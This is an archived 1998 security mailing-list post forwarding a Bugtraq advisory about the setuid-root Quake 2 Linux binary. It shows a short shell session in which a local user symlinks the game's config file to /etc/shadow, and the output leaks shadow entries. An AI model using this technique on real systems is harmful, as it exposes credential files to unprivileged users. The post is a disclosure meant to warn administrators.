X-RDate: Thu, 26 Feb 1998 14:24:34 +0500 (ESK)
Date: Wed, 25 Feb 1998 15:43:15 -0500
From: Jeff Uphoff <juphoff@tarsier.cv.nrao.edu>
To: linux-security@redhat.com, vendor-sec@lst.de
Subject: [linux-security] Quake 2 Linux 3.13 (and lower) allow users to read arbitrary files [Forwarded e-mail from kevingeo@CRUZIO.COM]
------- start of forwarded message (RFC 934 encapsulation) -------
From: kevingeo@CRUZIO.COM
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
To: BUGTRAQ@NETSPACE.ORG
Subject: Quake 2 Linux 3.13 (and lower) allow users to read arbitrary files
Date: Wed, 25 Feb 1998 05:49:58 -0500
Reply-To: kevingeo@CRUZIO.COM
Vulnerable:
Everyone who followed the installation instructions and made Quake2 setuid
root.
Exploit:
Quake2 reads its conf files (and .pak files) before giving up root,
and it doesn't check the permissions before hand.
nop@chrome:~> id
uid=501(nop) gid=100(users) groups=100(users)
nop@chrome:~> mkdir baseq2
nop@chrome:~> ln -s /etc/shadow baseq2/config.cfg
nop@chrome:~> ls -l /usr/games/quake/quake2
- -rws--x--x 1 root root 303444 Feb 24 19:07
/usr/games/quake/quake2
nop@chrome:~> /usr/games/quake/quake2
couldn't exec default.cfg
execing config.cfg
Unknown command "root:[snip]:10137:0:99999:7:::"
Unknown command "bin:*:9977:0:99999:7:::"
Unknown command "daemon:*:9977:0:99999:7:::"
Unknown command "adm:*:9977:0:99999:7:::"
Unknown command "lp:*:9977:0:99999:7:::"
[etc]
------- end -------
--
----------------------------------------------------------------------
Please refer to the information about this list as well as general
information about Linux security at http://www.aoy.com/Linux/Security.
----------------------------------------------------------------------
To unsubscribe: mail -s unsubscribe test-list-request@redhat.com < /dev/null
